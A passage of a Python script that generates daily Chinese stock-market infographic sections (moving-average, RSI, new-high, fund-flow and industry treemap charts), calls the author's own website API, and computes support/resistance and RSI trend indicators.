height3 +height4 + vertical_offset -50), mask=bb_image)\n elif lr==\"r\":\n section.paste(bb_image, (width-w, height1 + height2 + height3 +height4 +vertical_offset -50), mask=bb_image)\n\n return section\n\n\ndef section_mid_highlow(trade_date, df_date, bcolor, pos):\n\n # add init\n\n\n # add cliff hanger illustration\n if False:\n path = f'../Plot/static/cliff.png'\n chart = Image.open(path)\n chart = chart.resize((1900, 1100))\n section.paste(chart, (0, 0), mask=chart)\n\n #add data\n df_date[\"isminmax\"]=df_date[\"isminmax\"].replace(np.nan,0)\n\n df_date[\"isminmax\"] = df_date[\"isminmax\"].replace(120, 60)\n df_date[\"isminmax\"] = df_date[\"isminmax\"].replace(-120, -60)\n df_date[\"isminmax\"] = df_date[\"isminmax\"].replace(500, 240)\n df_date[\"isminmax\"] = df_date[\"isminmax\"].replace(-500, -240)\n\n df_date_groupby=df_date.groupby(\"isminmax\").count()\n\n # use this to draw histogram of your data\n path = f'Plot/report_D_material/{trade_date}/allimeghighlow.png'\n\n #create statistic\n s=df_date_groupby[\"pct_chg\"]\n\n\n\n #if 60 day high is zero, fill zero\n for number in [20,60,240,999]:\n for i in [number,-number]:\n if i not in s.index:\n s.at[i]=0\n\n\n\n s=s.sort_index()\n largest=s.nlargest(2)#because 0 is also there and is always big\n bigest=largest.iat[-1]\n bigest=bigest+100\n\n\n #create iamge intermediately\n setting=len(df_date)\n chart = Image.open(get_bar2(s=s,path=path,y_limit=[-setting,setting]))\n cw,ch=chart.size\n\n #cut cupper and lower part #cropchart\n cropheight=(ch/2)/setting*(setting-bigest)\n chart=chart.crop((0,cropheight,cw,(ch/2)+130))\n chart.save(path)\n cw, ch = chart.size\n\n #create section based on image size\n section_height = ch+700\n section = Image.new('RGBA', (width, section_height), bcolor)\n idraw = draw_text(section, f\"{pos}. 新高统计\", background=True)\n\n #paste image to section\n section.paste(chart, (int((width - cw) / 2), 300), mask=chart)\n\n #add新高 新低两字\n for hdistance, text in [(450,\"新高\"),(-450,\"新低\")]:\n w, height2 = idraw.textsize(text, font=mega2)\n idraw.text((int(((width - w) / 2)) + hdistance, 300+ch+0), text, font=mega2, fill=white)\n\n #section=section.crop((0, 0, width, section_height-ch-300-200))\n return section\n\n\ndef bar_helper(x,y,trade_date,y_label=\"\",name=\"rsima\"):\n # calculate data\n y_fake = [100 for x in y]\n\n # fake\n line = plt.bar(x, y_fake) # background\n for i in range(0, len(line)):\n line[i].set_color(white)\n\n # real\n line = plt.bar(x, y)\n for i in range(0, len(line)):\n line[i].set_color(orange)\n axes = plt.gca()\n axes.set_ylim([-20, 110])\n plt.axis('off')\n fig = plt.gcf()\n fig.set_size_inches(6, 4)\n\n # draw values as text\n for enum, i in enumerate(range(len(y))):\n # OVER each bar\n if y[i] <= 75:\n add = 5\n color = gray\n else:\n add = -20\n color = gray\n\n plt.annotate(f\"{y[i]}{y_label}\", xy=(i, y[i] + add), ha='center', va='bottom', color=color, size=24)\n\n # UNDER each bar\n plt.annotate(x[i], xy=(i, -10), ha='center', va='bottom', color=\"white\", size=13)\n\n # use this to draw histogram of your data\n path = f'Plot/report_D_material/{trade_date}/{name}.png'\n img_saver(path=path, dpi=350)\n return path\n\ndef section_ma(trade_date, df_date,bcolor,pos):\n\n # add init\n section = Image.new('RGBA', (width, 1900), bcolor)\n idraw = draw_text(section, f\"{pos}. 均线统计\",background=True)\n\n\n # calculate data\n if False:\n\n a_y_abs = []\n a_colors = [treemapred1, treemapred2, treemapred3, treemapred4]\n for enum, freqn in enumerate([5, 20, 60, 240]):\n y_abs = len(df_date[df_date[\"close\"] >= df_date[f\"ma{freqn}\"]])\n a_y_abs += [y_abs]\n pct = y_abs / len(df_date)\n\n yes_name = f\"{freqn}日 均线上\"\n no_name = f\"{freqn}日 均线下\"\n yes = int(pct * 100)\n no = 100 - yes\n s = pd.Series()\n s.at[yes_name] = yes\n s.at[no_name] = no\n ax = s.plot(kind='pie', labels=[\"\", \"\"], colors=[white, a_colors[enum]], startangle=90, wedgeprops={\"edgecolor\": \"white\", 'linewidth': 1})\n plt.axis('off')\n\n radius=200\n space=600\n offset=700\n path = f'Plot/report_D_material/{trade_date}/ma{enum}.png'\n img_saver(path=path, dpi=900-enum*radius)\n chart = Image.open(path)\n\n cw, ch = chart.size\n section.paste(chart, (int((width - cw) / 2), int((space-ch)/2)+offset), mask=chart)\n\n else:\n #display data\n y = []\n a_y_abs=[]\n for freqn in [5, 20, 60, 240]:\n df_filter=df_date[df_date[\"close\"]>df_date[f\"ma{freqn}\"]]\n ma_pct=len(df_filter)/len(df_date)\n y+=[int(ma_pct*100)]\n a_y_abs+=[len(df_filter)]\n x=[f\"{x}日均线上\" for x in [5, 20, 60, 240]]\n\n chart = Image.open(bar_helper(x,y,trade_date,\"%\",name=\"ma\"))\n cw,ch=chart.size\n section.paste(chart, (int((width-cw)/2), 400), mask=chart)\n\n explain=f\"{y[0]}% 的股票\\n收盘在5日均线上\"\n w, h = idraw.textsize(explain, font=mega3)\n idraw.text((int((width - w) / 2), 1450), explain, font=mega3, fill=white,align=\"center\")\n\n return section\n\n\ndef section_rsi(trade_date, df_date,bcolor,pos):\n\n # add init\n section = Image.new('RGBA', (width, 1900), bcolor)\n idraw = draw_text(section, f\"{pos}. RSI统计\",background=True)\n\n # display data\n x=[]\n y=[]\n for freqn in [5, 20, 60, 240]:\n y+= [round(df_date[f\"rsi{freqn}\"].mean(), 1)]\n x+=[f\"{freqn}日RSI\"]\n chart = Image.open(bar_helper(x,y,trade_date,\"\",name=\"rsi\"))\n\n cw,ch=chart.size\n section.paste(chart, (int((width-cw)/2), 400), mask=chart)\n\n explain=f\"所有股票5日RSI\\n的均值为{y[0]}\"\n w, h = idraw.textsize(explain, font=mega3)\n idraw.text((int((width - w) / 2), 1450), explain, font=mega3, fill=white,align=\"center\")\n\n return section\n\ndef northsouth_helper(section,df_nsmoney,pos, i, name,nb,trade_date):\n\n\n use_yi = True\n if use_yi:\n df_nsmoney[f\"{name}_money\"] = df_nsmoney[f\"{name}_money\"] / 100\n df_nsmoney[f\"{name}_money\"] = df_nsmoney[f\"{name}_money\"].cumsum()\n plt.ylabel('亿元', color=\"white\")\n else:\n plt.ylabel('百万元', color=\"white\")\n\n ax=df_nsmoney[f\"{name}_money\"].plot(color=orange, legend=False, linewidth=4)\n #df_nsmoney[\"zero\"].plot(color=white, legend=False, linewidth=1)\n plt.axis(\"on\")\n\n\n\n ax.spines['bottom'].set_color('white')\n ax.spines['left'].set_color('white')\n ax.spines['top'].set_visible(False)\n ax.spines['right'].set_visible(False)\n ax.yaxis.set_label(\"万元\")\n [t.set_color('white') for t in ax.xaxis.get_ticklabels()]\n [t.set_color('white') for t in ax.yaxis.get_ticklabels()]\n ax.tick_params(axis=\"x\",color=\"white\")\n ax.tick_params(axis=\"y\",color=\"white\")\n plt.setp(ax.xaxis.get_majorticklabels(), rotation=-45)\n\n fig=plt.gcf()\n fig.set_size_inches(6, 2)\n\n path = f'Plot/report_D_material/{trade_date}/{name}.png'\n img_saver(path=path, dpi=350)\n chart = Image.open(path)\n cw,ch=chart.size\n section.paste(chart, (int((width-cw)/2), 400), mask=chart)\n\n\n\ndef section_northmoney(trade_date, df_date, bcolor, pos):\n\n # add init\n section = Image.new('RGBA', (width, 1300), bcolor)\n idraw = draw_text(section, f\"{pos}. 北向资金累计\", background=True)\n\n #calculate data\n df_nsmoney=DB.get(a_path=LB.a_path(\"Market/CN/Asset/E/hsgt/hsgt\"))\n df_nsmoney=df_nsmoney[df_nsmoney.index <= int(trade_date)]\n df_nsmoney=df_nsmoney.tail(120)#only check last 120 days as half year data\n if df_nsmoney.empty:\n return Image.new('RGBA', (width, 0), bcolor)\n\n df_nsmoney[\"zero\"]=0\n\n LB.trade_date_to_vieable(df_nsmoney)\n df_nsmoney.index.name =\"\"\n\n #display data\n northsouth_helper(section=section,df_nsmoney=df_nsmoney,pos=pos,i=0,name=\"north\",nb=\"北\",trade_date=trade_date)\n return section\n\ndef section_southmoney(trade_date, df_date, bcolor, pos):\n\n # add init\n section = Image.new('RGBA', (width, 1300), bcolor)\n idraw = draw_text(section, f\"{pos}. 南向资金累计\", background=True)\n\n #calculate data\n df_nsmoney=DB.get(a_path=LB.a_path(\"Market/CN/Asset/E/hsgt/hsgt\"))\n df_nsmoney=df_nsmoney[df_nsmoney.index <= int(trade_date)]\n df_nsmoney=df_nsmoney.tail(120)#only check last 120 days as half year data\n if df_nsmoney.empty:\n return Image.new('RGBA', (width, 0), bcolor)\n\n df_nsmoney[\"zero\"]=0\n\n LB.trade_date_to_vieable(df_nsmoney)\n df_nsmoney.index.name =\"\"\n\n #display data\n northsouth_helper(section=section, df_nsmoney=df_nsmoney, pos=pos, i=1, name=\"south\", nb=\"南\",trade_date=trade_date)\n\n return section\n\n\ndef section_mid_industry1(trade_date, df_date, bcolor, pos):\n\n # add init\n section = Image.new('RGBA', (width, 2400), bcolor)\n idraw = draw_text(section, f\"{pos}. 行业涨幅\",background=True)\n d_quantile=LB.custom_quantile(df=df_date,column=\"pct_chg\",key_val=False,p_setting=[0,1])\n\n for enum, (key,df_date_cut) in enumerate(d_quantile.items()):\n #treemap data\n\n df_group_sum=df_date_cut.groupby(by=\"sw1\", sort=True).sum()\n df_group_mean=df_date_cut.groupby(by=\"sw1\", sort=True).mean()\n df_group_sum=df_group_sum.sort_values(by=\"total_mv\",ascending=False)\n\n #cheat size by make the last n smallest industry bigger. Otherwise too small to display\n last=len(df_group_sum)\n for i in range(1,last):\n df_group_sum[\"total_mv\"].iloc[-i]=df_group_sum[\"total_mv\"].iat[-last]\n\n #sort the box by who gained most\n\n df_group_sum[\"pct_chg_mean\"]=df_group_mean[\"pct_chg\"]\n #df_group_sum=df_group_sum.sort_values(\"pct_chg_mean\")\n\n\n sizes = df_group_sum[\"total_mv\"]\n label=[]\n for name,pct_chg in zip(df_group_sum.index,df_group_sum[\"pct_chg_mean\"]):\n if pct_chg>0:\n label+=[f\"{name}\\n+{round(pct_chg,2)}%\"]\n else:\n label+=[f\"{name}\\n{round(pct_chg,2)}%\"]\n\n\n colors= []\n for name, pct_chg in zip(df_group_sum.index, df_group_sum[\"pct_chg_mean\"]):\n if pct_chg==0:\n colors+=[gray]\n\n elif pct_chg>0 and pct_chg<=1:\n colors += [treemapred1]\n elif pct_chg>1 and pct_chg<=2:\n colors += [treemapred1]\n elif pct_chg > 2 and pct_chg <= 3:\n colors += [treemapred1]\n elif pct_chg > 3:\n colors += [treemapred1]\n\n elif pct_chg>=-1 and pct_chg<0:\n colors += [treemapgreen1]\n elif pct_chg>=-2 and pct_chg<-1:\n colors += [treemapgreen1]\n elif pct_chg>=-3 and pct_chg<-2:\n colors += [treemapgreen1]\n elif pct_chg<-3 :\n colors += [treemapgreen1]\n\n\n squarify.plot(sizes=sizes, label=label, color=colors, alpha=1,text_kwargs={'fontsize':10, 'fontname':\"Microsoft Yahei\",\"color\":\"#ffffff\"},bar_kwargs=dict(linewidth=1, edgecolor=\"#ffffff\"))\n fig = plt.gcf()\n fig.set_size_inches(6,6)\n plt.axis('off')\n path = f'Plot/report_D_material/{trade_date}/tree{enum}.png'\n\n img_saver(path=path,dpi=400)\n chart = Image.open(path)\n cw,ch=chart.size\n offset=400\n section.paste(chart, (int((width-cw)/2)-10, offset+enum*ch), mask=chart)\n\n if False:\n explain = f\"市值越大面积越大\"\n w, h = idraw.textsize(explain, font=h2)\n idraw.text((int((width - w) / 2), ch + offset), explain, font=h2, fill=white)\n\n\n return section\n\n\ndef create_infographic(trade_date=LB.latest_trade_date(),showimg=True,png=False,send=False,delete_asset=True,save_section=True):\n\n\n\n path = f'Plot/report_D_result_lq/每日收盘_{trade_date}.jpeg'\n if os.path.isfile(path):\n print(f\"{trade_date} infochart exists\")\n if send:\n #format month-day-year\n\n trade_date_web=f\"{int(trade_date[4:6])}/{trade_date[6:8]}/{trade_date[2:4]}\"\n print(trade_date_web)\n files=[path]\n LB.send_mail_report(trade_string=trade_date_web, files=files,receiver=\"dailystockinfo.uqhpqf@zapiermail.com\")\n return path\n\n # init\n print(\"start\")\n df_date=DB.get_date(trade_date=trade_date)\n if df_date.empty:\n raise AssertionError\n df_date = df_date[df_date[\"pct_chg\"].notna()]\n\n #add sections, size, value vs growth, industry, jijing vs husheng300, zhuti, beta\n a_func=[section_title, section_index, section_distribution, section_style, section_mid_industry1, section_mid_highlow, section_ma, section_northmoney, section_southmoney, section_industry_pe,section_industry_pe2,section_sh_pe, section_cy_pe, section_mid_size, section_mid_valuegrowth, section_mid_beta, section_mid_supplier, section_mid_head, section_mid_cyclic, section_mid_new, section_end]\n #a_func=[section_industry_pe]\n a_bcolor=[\"#1D37FF\",\"#1D37FF\",\"#1D37FF\",\"#1D37FF\",\"#1D37FF\",\"#1D37FF\",\"#1D37FF\",\"#1D37FF\",\"#1D37FF\",\"#1D37FF\",\"#1D37FF\"]\n a_bcolor=[None]*len(a_func)\n a_sections_name=[]\n for name in a_func:\n try:\n a_sections_name=a_sections_name+[name.__name__]\n except:\n a_sections_name = a_sections_name + [\"industry_pe2\"]\n a_sections = [func(trade_date=trade_date, df_date=df_date,bcolor=bcolor,pos=pos) for pos,(func,bcolor) in enumerate(zip(a_func,a_bcolor))]\n\n #put all sections together\n autoheight=builtins.sum([section.size[1] for section in a_sections])\n infographic = Image.new('RGBA', (width, autoheight), \"#1D37FF\")\n\n # add background\n path = f'../Plot/static/gradient5.png'\n chart = Image.open(path)\n chart = chart.resize((2200, autoheight))\n infographic.paste(chart, (0, 0), )\n\n\n #save sections\n if save_section:\n for section,name in zip(a_sections,a_sections_name):\n for n in range(10):\n try:\n #png first\n path = f'Plot/report_D_section/{trade_date}/{name}.png'\n section.save(path,optimize=True)\n\n # jpeg second\n if False:\n section = section.convert('RGB')\n path = f'Plot/report_D_section/{trade_date}/{name}.jpeg'\n section.save(path, 'jpeg', quality=10,optimize=True,progressive=True)\n\n break\n except:\n folder = \"/\".join(path.rsplit(\"/\")[:-1])\n if not os.path.exists(folder):\n os.makedirs(folder)\n\n\n #add sections\n y_helper=0\n for section in a_sections:\n infographic.paste(section,( 0, y_helper),mask=section)\n y_helper += section.size[1]\n\n #show and save\n if showimg:\n infographic.show()\n\n\n path=f'Plot/report_D_result_hq/每日收盘{trade_date}.png'\n infographic.save(path)\n\n infographic = infographic.convert('RGB')\n path = f'Plot/report_D_result_lq/每日收盘_{trade_date}.jpeg'\n infographic.save(path, 'jpeg', quality=10, optimize=True, progressive=True)\n\n #delete generated assets and only keep the result\n \"\"\"if delete_asset:\n path = f'Plot/report_D_material/{trade_date}'\n if os.path.isdir(path):\n os.remove(path)\"\"\"\n\n return path\n\n\ndef get_request(url):\n r= requests.get(url)\n return r\n\n\ndef server_existing_infocharts(version_test=\"version-test\"):\n # make request to see what the server already has\n url = f\"https://www.5849cai.com/{version_test}/api/1.1/obj/infochart\"\n r = requests.get(url)\n decode_r = r.content.decode(\"UTF-8\")\n dict_str = ast.literal_eval(decode_r)\n a_result = dict_str[\"response\"][\"results\"]\n for dict_enty in a_result:\n print()\n for key,data in dict_enty.items():\n print(key,\":\",data)\n\n\ndef server_post_infochart(version_test=\"version-test\"):\n # make request to see what the server already has\n url = f\"https://www.5849cai.com/{version_test}/api/1.1/obj/infochart\"\n test = {\n \"Image\": \"\",\n \"Created Date\": \"\",\n \"Created By\": \"\",\n \"Modified Date\": \"\",\n \"Tradedate\": \"egal\",\n \"_id\": \"egalasadasdsad\",\n \"_type\": \"custom.infochart\"\n }\n test_json=json.dumps(test)\n r=requests.post(url, json=test_json,data=test_json)\n print(r)\n\ndef server_delete_infochart(version_test=\"version-test\",id=\"\"):\n # make request to see what the server already has\n url = f\"https://www.5849cai.com/{version_test}/api/1.1/obj/infochart/{id}\"\n r=requests.delete(url)\n print(r)\n\ndef server_patch_infochart(version_test=\"version-test\",id=\"\"):\n # make request to see what the server already has\n url = f\"https://www.5849cai.com/{version_test}/api/1.1/obj/Infochart\"\n #url = f\"https://webhook.site/52c1560e-d807-444d-a4fc-ab53f54f4b7b\"\n #url = f\"https://5849cai.com/version-test/api/1.1/wf\"\n #url = f\"https://adasdasd.requestcatcher.com/test\"\n test={ \"Tradedate\":\"fu\"}\n\n headers={\"Content-type\":\"application/json\",\n \"Accept-Encoding\":\"deflate, gzip\",\n \"Connection\": None,\n \"X-Real-IP\":\"45.135.186.115\"\n\n }\n test_json=json.dumps(test)\n print(test_json)\n print(test)\n r=requests.post(url, data=test ,headers=headers)\n\n print(\"request.url\",r.request.url)\n print(\"request.body\",r.request.body)\n print(\"request.headers\",r.request.headers)\n print(\"content\",r.content)\n print(\"text\",r.text)\n print(\"requests\",requests)\n print(\"response\",r)\n\n\n\ndef workflow_api():\n url = f\"https://www.5849cai.com/version-test/api/1.1/wf/uploadchart\"\n test = {\n \"Image\": \"\",\n \"Created Date\": \"\",\n \"Created By\": \"\",\n \"Modified Date\": \"\",\n \"Tradedate\": \"egal\",\n \"_id\": \"egalasadasdsad\",\n \"_type\": \"custom.infochart\"\n }\n test_json = json.dumps(test)\n r = requests.post(url, json=test_json, data=test_json)\n print(r)\n\nif __name__ == '__main__':\n\n do=2\n\n #server_patch_infochart()\n\n if do==-1:\n workflow_api()\n\n elif do==1:\n\n trade_date = fr\"20210118\"\n trade_date = fr\"20210119\"\n trade_date = fr\"20080630\"\n trade_date = fr\"20210305\"\n create_infographic(trade_date=trade_date)\n elif do==2:\n df_trade_date = DB.get_trade_date()\n df_trade_date = df_trade_date[df_trade_date[\"lastdayofseason\"] == True]\n\n for trade_date in df_trade_date.index[::-1]:\n print(f\"Infochart for trade_date {trade_date}\")\n try:\n create_infographic(trade_date=str(trade_date),showimg=False)\n except Exception as e:\n print(e)\n\n elif do==3:\n df_trade_date = DB.get_trade_date()\n for trade_date in df_trade_date.index[::-1]:\n print(f\"Infochart for trade_date {trade_date}\")\n try:\n create_infographic(trade_date=str(trade_date), showimg=False)\n gc.collect()\n except Exception as e:\n print(e)\n elif do==4:\n #send data to website\n df_trade_date = DB.get_trade_date()\n for trade_date in df_trade_date.index[:-10:-1]:\n print(f\"Infochart for trade_date {trade_date}\")\n try:\n create_infographic(trade_date=str(trade_date), showimg=False,send=False)\n gc.collect()\n except Exception as e:\n print(e)\n\n elif do==5:\n from webptools import cwebp\n #imageio.plugins.freeimage.download()\n sourcepath = f\"Plot/plot.jpg\"\n destipath = f\"Plot/plot.webp\"\n print(cwebp(sourcepath,destipath,\"-q 80\"))\n\n\ndef support_resistance_horizontal_expansive(start_window=240, rolling_freq=5, step=10, spread=[4, 0.2], bins=10, d_rs={\"abv\": 10}, df_asset=pd.DataFrame(), delay=3):\n \"\"\"\n KEY DIFFERENCE BETWEEN THESE TWO CALCULATION:\n 1. This one calculates the EXPANDING RS. d.h. top 10 RS from IPO until today.\n 2. and it displays all resistance.\n 3. By doing this you can calculate how many rs are above or under the price. By increasing the bin, you allow resistance to be closer\n\n Measure RS:\n 1. Based on occurence\n 2. Base on how long this price has been max or low or some price\n\n start_window: when iterating in the past, how big should the minimum window be. not so relevant actually\n rolling_freq: when creating rolling min or max, how long should past be considered\n step: then simulating past rs, how big is the step\n spread: distance rs-price: when creating multiple rs, how big should the spread/distance between price and rs be. The bigger the spread, the more far away they are.\n bins: distance rs-rs: when picking rs from many occurnece, How far should distance between resistance be. You should let algo naturally decide which rs is second strongest and not set limit to them by hand.\n d_rs: how many rs lines you need. Actually deprecated by bins\n df_asset: the df containing close price\n delay: optional\n\n\n General idea:\n 1. rolling past and find max and minimum\n 2. put max and min together in one array\n 3. count max occurecne by using bins (cateogirzed)\n 4. max occurence value under price is support, max occurence value above price is resistance\n 5. iterate through past to simulate past rs for each period\n\n \"\"\"\n\n def support_resistance_acc(abv_und, max_rs, s_minmax, end_date, f_end_date, df_asset):\n # 1. step calculate all relevant resistance = relevant earlier price close to current price\n current_price = df_asset.at[end_date, \"close\"]\n\n # 2.step find the max occurence of n values\n print(\"abv_und is\", abv_und)\n\n s_occurence_bins = s_minmax.value_counts(bins=bins)\n a_rs = []\n for counter, (index, value) in enumerate(s_occurence_bins.iteritems()):\n a_rs.append(index.left)\n\n # 3. step sort the max occurence values and assign them as rs\n a_rs.sort() # small value first 0 ,1, 2\n for i, item in enumerate(a_rs):\n if i < max_rs:\n df_asset.loc[end_date:f_end_date, f\"rs{abv_und}{i}\"] = item\n\n if len(df_asset) > start_window:\n # calculate all min max for acceleration used for later simulation\n try:\n s_minall = df_asset[\"close\"].rolling(rolling_freq).min()\n s_maxall = df_asset[\"close\"].rolling(rolling_freq).max()\n except:\n return\n\n # iterate over past data as window. This simulates rs for past times/frames\n for row in range(0, len(df_asset), step):\n if row + start_window > len(df_asset) - 1:\n break\n\n # basically, this is a manual expand, using previous calculated values\n start_date = df_asset.index[0]\n end_date = df_asset.index[row + start_window]\n print(\"start end\", start_date, end_date)\n for abv_und, max_rs in d_rs.items():\n if row + start_window + step > len(df_asset) - 1:\n break\n\n f_end_date = df_asset.index[row + start_window + step]\n s_minmax = (s_minall.loc[start_date:end_date]).append(s_maxall.loc[start_date:end_date]) # create an array of all pst min and max\n support_resistance_acc(abv_und=abv_und, max_rs=max_rs, s_minmax=s_minmax, end_date=end_date, f_end_date=f_end_date, df_asset=df_asset)\n\n # calcualte individual rs score\n for abv_und, count in d_rs.items():\n for i in range(0, count):\n # first fill na for the last period because rolling does not reach\n df_asset[f\"rs{abv_und}{i}\"].fillna(method=\"ffill\", inplace=True)\n df_asset[f\"rs{abv_und}{i}\"].fillna(method=\"bfill\", inplace=True)\n\n df_asset[f\"rs{abv_und}{i}_abv\"] = (df_asset[f\"rs{abv_und}{i}\"] > df_asset[\"close\"]).astype(int)\n df_asset[f\"rs{abv_und}{i}_cross\"] = df_asset[f\"rs{abv_und}{i}_abv\"].diff().fillna(0).astype(int)\n\n df_asset[\"rs_abv\"] = 0 # for detecting breakout to top: happens often\n df_asset[\"rs_und\"] = 0 # for detecting breakout to bottom: happens rare\n for abv_und, max_rs in d_rs.items():\n for i in range(0, max_rs):\n try:\n df_asset[f\"rs_{abv_und}\"] += df_asset[f\"rs{abv_und}{i}_cross\"].abs()\n except Exception as e:\n print(\"error resistance 2\", e)\n\n # optional\n df_asset[\"rs_abv\"] = df_asset[\"rs_abv\"].rolling(delay).max().fillna(0)\n df_asset[\"rs_und\"] = df_asset[\"rs_und\"].rolling(delay).max().fillna(0)\n else:\n print(f\"df is len is under {start_window}. probably new stock\")\n for abv_und, max_rs in d_rs.items():\n for i in range(0, max_rs): # only consider rs und 2,3,4,5, evenly weighted. middle ones have most predictive power\n df_asset[f\"rs{abv_und}{i}\"] = np.nan\n df_asset[f\"rs{abv_und}{i}_abv\"] = np.nan\n df_asset[f\"rs{abv_und}{i}_cross\"] = np.nan\n\n df_asset[\"rs_abv\"] = 0\n df_asset[\"rs_und\"] = 0\n\n return df_asset\n\n\ndef support_resistance_horizontal_responsive(df_asset,start_window=240, rolling_freq=5, step=10, spread=[4, 0.2], bins=10, d_rs={\"abv\": 4, \"und\": 4}, delay=3):\n \"\"\"\n start_window: when iterating in the past, how big should the minimum window be. not so relevant actually\n rolling_freq: when creating rolling min or max, how long should past be considered\n step: then simulating past rs, how big is the step\n spread: distance rs-price: when creating multiple rs, how big should the spread/distance between price and rs be. The bigger the spread, the more far away they are.\n bins: distance rs-rs: when picking rs from many occurnece, How far should distance between resistance be. You should let algo naturally decide which rs is second strongest and not set limit to them by hand.\n d_rs: how many rs lines you need. Actually deprecated by bins\n df_asset: the df containing close price\n delay: optional\n\n\n General idea:\n 1. rolling past and find max and minimum\n 2. put max and min together in one array\n 3. count max occurecne by using bins (cateogirzed)\n 4. max occurence value under price is support, max occurence value above price is resistance\n 5. iterate through past to simulate past rs for each period\n\n \"\"\"\n\n def support_resistance_acc(abv_und, max_rs, s_minmax, end_date, f_end_date, df_asset):\n # 1. step calculate all relevant resistance = relevant earlier price close to current price\n current_price = df_asset.at[end_date, \"close\"]\n\n if abv_und == \"abv\":\n s_minmax = s_minmax[(s_minmax / current_price < spread[0]) & ((s_minmax / current_price >= 1))]\n elif abv_und == \"und\":\n s_minmax = s_minmax[(s_minmax / current_price <= 1) & ((s_minmax / current_price > spread[1]))]\n\n # 2.step find the max occurence of n values\n print(\"abv_und is\", abv_und)\n\n s_occurence_bins = s_minmax.value_counts(bins=bins)\n a_rs = []\n for counter, (index, value) in enumerate(s_occurence_bins.iteritems()):\n a_rs.append(index.left)\n\n # 3. step sort the max occurence values and assign them as rs\n a_rs.sort() # small value first 0 ,1, 2\n for i, item in enumerate(a_rs):\n if i < max_rs:\n df_asset.loc[end_date:f_end_date, f\"rs{abv_und}{i}\"] = item\n\n if len(df_asset) > start_window:\n # calculate all min max for acceleration used for later simulation\n try:\n s_minall = df_asset[\"close\"].rolling(rolling_freq).min()\n s_maxall = df_asset[\"close\"].rolling(rolling_freq).max()\n except:\n return\n\n # iterate over past data as window. This simulates rs for past times/frames\n for row in range(0, len(df_asset), step):\n if row + start_window > len(df_asset) - 1:\n break\n\n start_date = df_asset.index[0]\n end_date = df_asset.index[row + start_window]\n print(\"start end\", start_date, end_date)\n for abv_und, max_rs in d_rs.items():\n if row + start_window + step > len(df_asset) - 1:\n break\n\n f_end_date = df_asset.index[row + start_window + step]\n s_minmax = (s_minall.loc[start_date:end_date]).append(s_maxall.loc[start_date:end_date]) # create an array of all pst min and max\n support_resistance_acc(abv_und=abv_und, max_rs=max_rs, s_minmax=s_minmax, end_date=end_date, f_end_date=f_end_date, df_asset=df_asset)\n\n # calcualte individual rs score\n for abv_und, count in d_rs.items():\n for i in range(0, count):\n # first fill na for the last period because rolling does not reach\n df_asset[f\"rs{abv_und}{i}\"].fillna(method=\"ffill\", inplace=True)\n df_asset[f\"rs{abv_und}{i}\"].fillna(method=\"bfill\", inplace=True)\n\n df_asset[f\"rs{abv_und}{i}_abv\"] = (df_asset[f\"rs{abv_und}{i}\"] > df_asset[\"close\"]).astype(int)\n df_asset[f\"rs{abv_und}{i}_cross\"] = df_asset[f\"rs{abv_und}{i}_abv\"].diff().fillna(0).astype(int)\n\n df_asset[\"rs_abv\"] = 0 # for detecting breakout to top: happens often\n df_asset[\"rs_und\"] = 0 # for detecting breakout to bottom: happens rare\n for abv_und, max_rs in d_rs.items():\n for i in range(0, max_rs):\n try:\n df_asset[f\"rs_{abv_und}\"] = df_asset[f\"rs_{abv_und}\"] + df_asset[f\"rs{abv_und}{i}_cross\"].abs()\n except Exception as e:\n print(\"error resistance 2\", e)\n\n # optional\n df_asset[\"rs_abv\"] = df_asset[\"rs_abv\"].rolling(delay).max().fillna(0)\n df_asset[\"rs_und\"] = df_asset[\"rs_und\"].rolling(delay).max().fillna(0)\n else:\n print(f\"df is len is under {start_window}. probably new stock\")\n for abv_und, max_rs in d_rs.items():\n for i in range(0, max_rs): # only consider rs und 2,3,4,5, evenly weighted. middle ones have most predictive power\n df_asset[f\"rs{abv_und}{i}\"] = np.nan\n df_asset[f\"rs{abv_und}{i}_abv\"] = np.nan\n df_asset[f\"rs{abv_und}{i}_cross\"] = np.nan\n\n df_asset[\"rs_abv\"] = 0\n df_asset[\"rs_und\"] = 0\n\n return df_asset\n\n\ndef trend2(df: pd.DataFrame, abase: str, thresh_log=-0.043, thresh_rest=0.7237, market_suffix: str = \"\"):\n a_all = [1,5,10,20,60,120,240,500]\n a_small = [str(x) for x in a_all][:-1]\n a_big = [str(x) for x in a_all][1:]\n\n rsi_name = indi_name(abase=abase, deri=f\"{market_suffix}rsi\")\n phase_name = indi_name(abase=abase, deri=f\"{market_suffix}phase\")\n rsi_abv = indi_name(abase=abase, deri=f\"{market_suffix}rsi_abv\")\n turnpoint_name = indi_name(abase=abase, deri=f\"{market_suffix}turnpoint\")\n under_name = indi_name(abase=abase, deri=f\"{market_suffix}under\")\n trend_name = indi_name(abase=abase, deri=f\"{market_suffix}{ADeri.trend.value}\")\n\n func = talib.RSI\n # RSI and CMO are the best. CMO is a modified RSI\n # RSI,CMO,MOM,ROC,ROCR100,TRIX\n\n # df[f\"detrend{abase}\"] = signal.detrend(data=df[abase])\n for i in a_all: # RSI 1\n try:\n if i == 1:\n df[f\"{rsi_name}{i}\"] = (df[abase].pct_change() > 0).astype(int)\n print(df[f\"{rsi_name}{i}\"].dtype)\n # df[ rsi_name + \"1\"] = 0\n # df.loc[(df[\"pct_chg\"] > 0.0), rsi_name + \"1\"] = 1.0\n else:\n df[f\"{rsi_name}{i}\"] = func(df[abase], timeperiod=i) / 100\n # df[f\"{rsi_name}{i}\"] = func(df[f\"{rsi_name}{i}\"], timeperiod=i) / 100\n\n # normalization causes error\n # df[f\"{rsi_name}{i}\"] = (df[f\"{rsi_name}{i}\"]-df[f\"{rsi_name}{i}\"].min())/ (df[f\"{rsi_name}{i}\"].max()-df[f\"{rsi_name}{i}\"].min())\n except Exception as e: # if error happens here, then no need to continue\n print(\"error\", e)\n df[trend_name] = np.nan\n return trend_name\n\n # Create Phase\n for i in [str(x) for x in a_all]:\n maximum = (thresh_log * math.log((int(i))) + thresh_rest)\n minimum = 1 - maximum\n\n high_low, high_high = list(df[f\"{rsi_name}{i}\"].quantile([0.70, 1]))\n low_low, low_high = list(df[f\"{rsi_name}{i}\"].quantile([0, 0.30]))\n\n # df[f\"{phase_name}{i}\"] = [1 if high_high > x > high_low else 0 if low_low < x < low_high else np.nan for x in df[f\"{rsi_name}{i}\"]]\n\n # rsi high abve low\n for freq_small, freq_big in zip(a_small, a_big):\n df[f\"{rsi_abv}{freq_small}\"] = (df[f\"{rsi_name}{freq_small}\"] > df[f\"{rsi_name}{freq_big}\"]).astype(int)\n\n # one loop to create trend from phase\n for freq_small, freq_big in zip(a_small, a_big):\n 